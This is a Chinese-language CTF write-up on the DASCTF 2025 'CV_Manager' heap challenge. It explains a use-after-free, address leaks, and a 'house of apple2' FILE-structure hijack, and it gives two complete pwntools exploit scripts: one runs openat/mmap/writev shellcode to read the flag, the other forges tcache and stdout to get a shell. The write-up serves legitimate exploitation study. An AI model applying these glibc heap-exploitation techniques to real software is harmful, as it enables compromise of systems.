DASCTF 2025下半年赛 PWN-CV_Manager复盘笔记

本篇文章借鉴了很多0psu3战队和官方题解。

题目分析:

漏洞点主要出现在:

这里free了之后,没有清理chunk_addr和 chunk_size chunk_name数组

所以存在UAF

并且write部分还存在信息泄露: 可以借此得到程序栈基址

而且进而借助show功能,还能泄露libc地址

利用Unsortedbin Attack,可以在chunk_addr处写chunk_addr的地址,这样就能实现任意地址读+任意地址写了。

这样子就可以直接:house of apple2 + setcontext

具体操作:

登录的部分:

可以看到是一个换表base64的程序

选择对应的表然后直接就解出来了。(其实多选几个表试一试也能找出来)

结果:

下一步泄露程序栈基址:

这里注意Tcache的优先级比Top chunk的优先级高,会优先进入Tcache 而不是Top chunk。

然后用uaf,则0号堆块就进了unsorted bin了

然后add 一个堆块,使得放入unsorted bin中的chunk0 进入smallbin中,这样unsorted bin中就是空的了。

利用show可以得到libc基址:

在chunk0的数据区域伪造一个小的堆块,然后释放chunk1,这样就能触发malloc consolidate。

注意在Glibc >= 2.29 时要求 *(Target_Addr) 原本的内容必须指向 p(当前的 chunk)。

chunk_addr正好满足,所以可以实现

此时就实现了任意地址写和任意地址读了。

我们考虑打house of apple2 + setcontext

那么我们先覆盖 _IO_list_all:

把_IO_list_all控制为一个bss段的第一个地址

接下来往这个地址里伪造IO_FILE

这样子我们就可以利用_IO_wfile_overflow函数控制程序执行流

  • fp的设置如下:

    • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
    • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
    • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
    • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
    • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
    • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
    • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

然后我们利用magic gadgets实现rdi向rdx的转移

寻找方法为:

用ROPgadget寻找,把结果保存在文本文件'gadgets'中然后Ctrl+F搜索。

bash 复制代码
ROPgadget --binary <libc.so.name> --only 'pop|ret|leave|mov|call' > gadgets

然后接setcontext实现SROP,控制rsp,然后跳转到利用mmap进行权限设置

然后执行shellcode

shellcode部分:

限制条件为:

利用openat+mmap+writev

  1. openat: 打开 flag 文件。

    • rax = 257 (SYS_openat)
    • rdi = -100 (AT_FDCWD)
    • rsi = "./flag" (文件路径地址)
    • rdx = 0 (O_RDONLY)
    • 执行后 rax 会返回文件描述符 (假设是 3)。
  2. mmap: 将文件映射到内存。

    • rax = 9 (SYS_mmap)
    • rdi = 0 (让系统分配地址)
    • rsi = 0x100 (映射长度,够读 flag 就行)
    • rdx = 1 (PROT_READ)
    • r10 = 1 (MAP_PRIVATE)
    • r8 = 3(rax) (上面 openat 返回的 fd)
    • r9 = 0 (offset)
    • 执行后 rax 会返回映射内存的基地址 (存储了 flag 的内容)。
  3. writev: 将内存中的内容输出到 stdout。

    • 你需要构造一个 iovec结构体:

      复制代码
      cstruct iovec {
          void  *iov_base; // 指向刚才 mmap 出来的地址 (rax)
          size_t iov_len;  // 长度 (0x100)
      };
    • 你需要先在栈上或者可写段把这个结构体拼出来。

    • rax = 20 (SYS_writev)

    • rdi = 1 (STDOUT_FILENO)

    • rsi = iovec_struct_addr (指向你构造的结构体)

    • rdx = 1 (iovcnt,只有 1 个块)

EXP:

python 复制代码
#!/usr/bin/python3
#coding:utf-8
from pwn import *
import sys
import time
import os
import base64
import ctypes
from struct import pack
    
context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
    
global filename,libc,libcname,host,port,e,BreakPoint,p
    
s       = lambda data       : p.send(data)
sa      = lambda text,data  : p.sendafter(text, data)
sl      = lambda data       : p.sendline(data)
sla     = lambda text,data  : p.sendlineafter(text, data)
r       = lambda num=4096   : p.recv(num)
rl      = lambda            : p.recvline()
ru      = lambda text       : p.recvuntil(text)
pr      = lambda num=4096   : print(p.recv(num))
inter   = lambda            : p.interactive()
l32     = lambda            : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64     = lambda            : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda            : u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda            : u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data       : int(data,16)
lg      = lambda s, num     : p.success('%s -> 0x%x' % (s, num))
    
class IO_FILE(ctypes.Structure):
    _fields_ = [
        ("_flags", ctypes.c_int),                   # 0x0
        ("_IO_read_ptr", ctypes.c_char_p),          # 0x8
        ("_IO_read_end", ctypes.c_char_p),          # 0x10
        ("_IO_read_base", ctypes.c_char_p),         # 0x18
        ("_IO_write_base", ctypes.c_char_p),        # 0x20
        ("_IO_write_ptr", ctypes.c_char_p),         # 0x28
        ("_IO_write_end", ctypes.c_char_p),         # 0x30
        ("_IO_buf_base", ctypes.c_char_p),          # 0x38
        ("_IO_buf_end", ctypes.c_char_p),           # 0x40
        ("_IO_save_base", ctypes.c_char_p),         # 0x48
        ("_IO_backup_base", ctypes.c_char_p),       # 0x50
        ("_IO_save_end", ctypes.c_char_p),          # 0x58
        ("_markers", ctypes.c_void_p),              # 0x60
        ("_chain", ctypes.c_void_p),                # 0x68
        ("_fileno", ctypes.c_int),                  # 0x70
        ("_flags2", ctypes.c_int),                  # 0x74
        ("_old_offset", ctypes.c_long),             # 0x78
        ("_cur_column", ctypes.c_short),            # 0x80
        ("_vtable_offset", ctypes.c_char),          # 0x82
        ("_shortbuf", ctypes.c_char * 1),           # 0x83
        ("nothing", ctypes.c_char * 4),             # 0x84
        ("_lock", ctypes.c_void_p),                 # 0x88
        ("_offset", ctypes.c_void_p),               # 0x90
        ("_codevt", ctypes.c_void_p),               # 0x98
        ("_wide_data", ctypes.c_void_p),            # 0xa0
        ("_freeres_list", ctypes.c_void_p),         # 0xa8
        ("_freeres_buf", ctypes.c_void_p),          # 0xb0
        ("__pad5", ctypes.c_void_p),                # 0xb8
        ("_mode", ctypes.c_int),                    # 0xc0
        ("_unused2", ctypes.c_char * 20),           # 0xc4
        ("vtable", ctypes.c_void_p)                 # 0xd8
    ]
    def __init__(self):
        # 将整个结构体内存清零
        ctypes.memset(ctypes.addressof(self), 0, ctypes.sizeof(self))

def start():
    if args.GDB:
        return gdb.debug(e.path, gdbscript = BreakPoint)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process(e.path)
    
def menu(i):
    p.sendlineafter(b"choice:",str(i).encode())

def add(size, name):
    menu(1)
    p.sendlineafter(b"length:",str(size).encode())
    p.sendafter(b"name:", name)
    sleep(0.2)

def edit(idx, msg):
    menu(2)
    p.sendlineafter(b"modify:\n", str(idx).encode())
    p.sendafter(b"yourself:",msg)
    sleep(0.2)

def delete(idx):
    menu(3)
    p.sendlineafter(b"remove:\n", str(idx).encode())
    sleep(0.2)

def show(idx):
    menu(4)
    p.sendlineafter(b"view:\n", str(idx).encode())
    sleep(0.2)

def uaf(idx):
    menu(666)
    p.sendlineafter(b"index:\n", str(idx).encode())
    sleep(0.2)

    
def exp():
    p.sendlineafter(b"username:",b"r00t")
    p.sendlineafter(b"password:",b"p9s3w0r6")
    for i in range(9):
        add(0x128, b"CCTTFFEERR!!\n") # 0-8
    for i in range(8,1,-1):
        delete(i)

    uaf(0)
    elf_address = int(r(6)[::-1].hex(), 16) - 0x51e0
    lg("elf_base",elf_address) 
    add(0x188, b"CCTTFFEERR!!\n")
    show(0)
    ru("introduction:")
    libc.address = int(r(6)[::-1].hex(), 16) -  0x21ace0 - 0x120
    lg("libc_addr", libc.address)
    lg("_IO_list_all", libc.sym["_IO_list_all"])
    target_addr = elf_address + 0x5068
    lg("chunk_name",target_addr)
    payload = p64(0x0) + p64(0x121) + p64(target_addr - 0x18) + p64(target_addr -0x10)
    payload = payload.ljust(0x120,b"\x00")
    payload += p64(0x120)
    edit(0,payload)
    delete(1)
    gdb.attach(p)
    name_addr_offset = 0x51e0
    name_addr_step = 0x10
    name_addr_count = 0x10
    name_addr = [elf_address + name_addr_offset + name_addr_step * i for i in range(name_addr_count)]
    payload = p64(0x0) + p64(0x0) + p64(name_addr[0]) + p64(elf_address + 0x5050) + p64(0x128) + p64(name_addr[1])
    edit(0, payload + p64(libc.sym["_IO_list_all"]))
    edit(1, p64(elf_address + 0x5310))
    edit(0, payload + p64(elf_address + 0x5310) + p64(0x300))

    libc_base = libc.address
    _IO_wfile_jumps = libc.sym._IO_wfile_jumps
    setcontext = libc.sym["setcontext"] + 61
    rdi_ret = libc.address + 0x000000000002a3e5
    rsi_ret = libc.address + 0x000000000002be51
    rsi_ret = libc.address + 0x000000000002be51
    ret     = libc.address + 0x0000000000029139
    rdx_rbx_ret = libc.address +  0x00000000000904a9
    fake_addr = elf_address + 0x5310

    shellcode = shellcraft.amd64.openat(-100,"./flag",0)
    shellcode += shellcraft.amd64.mmap(0,0x100,1,1,'rax',0)
    shellcode += f'''
        mov rbx, 0x30
        sub rsp, 16
        mov [rsp], rax
        mov [rsp + 8], rbx
    ''' # 制造iovec结构体
    shellcode += shellcraft.amd64.writev(1,'rsp',1)

    shellcode = asm(shellcode)


    # wide file:
    data = flat({
        0:{
            0x08:fake_addr-0x10,
            0x10:setcontext,
            0x28:1,
            0x30:[rdi_ret,fake_addr&(~0xfff),rsi_ret,0x4000,rdx_rbx_ret,7,0,libc.sym['mprotect'],fake_addr+0x100+0x40],
            0x90:fake_addr + 0x30,
            0x98:ret,
            0xa0:fake_addr + 0x100,
            0xd8:_IO_wfile_jumps
        },
        0x100:{	
            0x18:0,
            0x28:libc_base + 0x167420,
            0x30:0,
            0x40:shellcode,
            0xe0:fake_addr + 0xc0
        }
    },filler='\0')


    edit(1, data)
    gdb.attach(p)

    menu(5)
    inter()
    
if __name__ == '__main__':
    filename = "pwn_patched"
    libcname = "/home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
    host = "127.0.0.1"
    port = 22551
    e = context.binary = ELF(filename)
    libc = ELF(libcname)
    BreakPoint = '''
    b main
    set debug-file-directory /home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
    set directories /home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
    '''
    p = start()
    exp()

解法2:

通过UAF,伪造Tcache链,可以分配得到Tcache_perthread_struct部分

python 复制代码
add(0x160, b'CCTTFFEERR!!')
add(0x160, b'b')
backdoor(0)
code_base = u64_ex(r(8)) - 0x51E0
set_current_code_base_and_log(code_base)

show(0)
ru(b'\nintroduction:')
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(0x160, b'a')

dele(1)
dele(2)

edit(0, p64(protect_ptr(heap_base + 0x2A0, heap_base + 0x10)))

add(0x160, b'b')
add(0x160, b'c')

控制了Tcache_perthread_struct,也就可以从任意地址分配chunk了。

python 复制代码
edit(2, fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
print(fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])

add(0x110, b'd')

我们分配一个包含chunk数组的chunk,这样也就实现了任意地址写任意地址读了。

下面先得到libc地址

python 复制代码
edit(3, p64(code_base + 0x5040) * 2)
# gdb.attach(gift.io)

show(0)
ru(b'\nintroduction:')
libc_base = u64_ex(r(8)) - libc.sym._IO_2_1_stderr_
print(hex(libc_base))
set_current_libc_base_and_log(libc_base)

然后对修改stdout对应的地址,并伪造fake IOFILE:

python 复制代码
edit(3, p64(code_base + 0x5020) * 2)

fake_IO_FILE = heap_base + 0x2A0
payload = flat(
    {
        0x0: u64_ex("  sh"),
        0x28: libc.sym.system,  # function
        0x88: heap_base + 0x1000,
        0xA0: fake_IO_FILE + 0xD0 - 0xE0,  # _wide_data->_wide_vtable
        0xD0: fake_IO_FILE + 0x28 - 0x68,  # _wide_data->_wide_vtable->doallocate
        0xD8: libc.sym._IO_wfile_jumps,  # vtable _IO_wfile_jumps-0x48
    },
    filler=b'\x00',
)
edit(1, payload)

launch_gdb(cmd)
print(libc.sym._IO_wfile_jumps)
gdb.attach(gift.io, 'b *$rebase(0x01996)')

edit(0, p64(fake_IO_FILE))

ia()

这样子的好处是,伪造了stdout结构体,那么当puts时,就会触发这个伪造的stdout进而getshell。就不用依靠exit(0)来刷新IOFILE了,也就没有了沙箱。

EXP

python 复制代码
#!/usr/bin/env python3
from pwncli import *
from pwn import *


context.clear(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux','new-window']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn_patched')
if local_flag == "remote":
    addr = 'node5.buuoj.cn:25083'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libcname = "/home/kadaduck/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
libc = gift.libc = ELF(libc_path:=libcname)
passwd = b'p9s3w0r6'
sla(b'username:', b'r00t')
sla(b'password:', passwd)
IAT = b'Your choice:'

def add(size, data):
    sla(IAT, b'1')
    sla(b'length', str(size))
    sa(b'name', data)

def dele(idx):
    sla(IAT, b'3')
    sla(b'Which', str(idx))

def edit(idx, data):
    sla(IAT, b'2')
    sla(b'Which', str(idx))
    sla(b'Please briefly introduce yourself:', data)

def show(idx):
    sla(IAT, b'4')
    sla(b'Which', str(idx))

def backdoor(idx):
    sla(IAT, b'666')
    sla(b'index:\n', str(idx))

def fake_tcache(size_info):
    TCACHE_MAX_BINS = 64
    counts = bytearray(TCACHE_MAX_BINS * 2)
    entries = bytearray(TCACHE_MAX_BINS * 8)

    for size, (count, address) in size_info.items():
        bin_index = (size >> 4) - 2
        if 0 <= bin_index < TCACHE_MAX_BINS:
            counts[bin_index * 2] = min(count, 255)
            addr_bytes = struct.pack('<Q', address)
            entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

    tcache_struct = counts + entries
    return tcache_struct

cmd = '''
    brva 0x1B50
    brva 0x1C99
    brva 0x1D51
    brva 0x1EC0
    brva 0x1F9C
    set $h = $rebase(0x5060)
    c
'''
add(0x160, b'CCTTFFEERR!!')
add(0x160, b'b')
backdoor(0)
code_base = u64_ex(r(8)) - 0x51E0
set_current_code_base_and_log(code_base)

show(0)
ru(b'\nintroduction:')
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(0x160, b'a')

dele(1)
dele(2)

edit(0, p64(protect_ptr(heap_base + 0x2A0, heap_base + 0x10)))

add(0x160, b'b')
add(0x160, b'c')

edit(2, fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
print(fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])

add(0x110, b'd')

edit(3, p64(code_base + 0x5040) * 2)
# gdb.attach(gift.io)

show(0)
ru(b'\nintroduction:')
libc_base = u64_ex(r(8)) - libc.sym._IO_2_1_stderr_
print(hex(libc_base))
set_current_libc_base_and_log(libc_base)
edit(3, p64(code_base + 0x5020) * 2)

fake_IO_FILE = heap_base + 0x2A0
payload = flat(
    {
        0x0: u64_ex("  sh"),
        0x28: libc.sym.system,  # function
        0x88: heap_base + 0x1000,
        0xA0: fake_IO_FILE + 0xD0 - 0xE0,  # _wide_data->_wide_vtable
        0xD0: fake_IO_FILE + 0x28 - 0x68,  # _wide_data->_wide_vtable->doallocate
        0xD8: libc.sym._IO_wfile_jumps,  # vtable _IO_wfile_jumps-0x48
    },
    filler=b'\x00',
)
edit(1, payload)

launch_gdb(cmd)
print(libc.sym._IO_wfile_jumps)
gdb.attach(gift.io, 'b *$rebase(0x01996)')

edit(0, p64(fake_IO_FILE))

ia()
相关推荐
千殇华来2 小时前
XMOS学习笔记
人工智能·笔记·学习
峥嵘life2 小时前
Android16 EDLA 认证BTS测试Failed解决总结
android·java·linux·运维·学习
白帽子凯哥哥2 小时前
零基础转行网络安全需要多长时间?具体的学习路径是怎样的?
学习·安全·web安全
猫豆~2 小时前
ceph分布式存储——1day
java·linux·数据库·sql·云计算
日更嵌入式的打工仔2 小时前
SSC Tools配置项中文详解
网络·笔记·信息与通信·ethercat
从零点2 小时前
STM32学习笔记CAN
笔记·stm32·学习
小嘟嘟132 小时前
Kurator深度解析:云原生多集群管理的高效解决方案
linux·运维·docker·云原生·自动化
starrycode8882 小时前
【每日一个知识点】Kotlin基础语法核心学习笔记
笔记·学习·kotlin
韩曙亮2 小时前
【错误记录】VirtualBox 中安装 Ubuntu 系统无法跨虚拟机进行复制操作 ( 解决方案 - 启用 “ 共享粘贴板 “、“拖动“ 双向操作 )
linux·运维·ubuntu·virtualbox·ros 2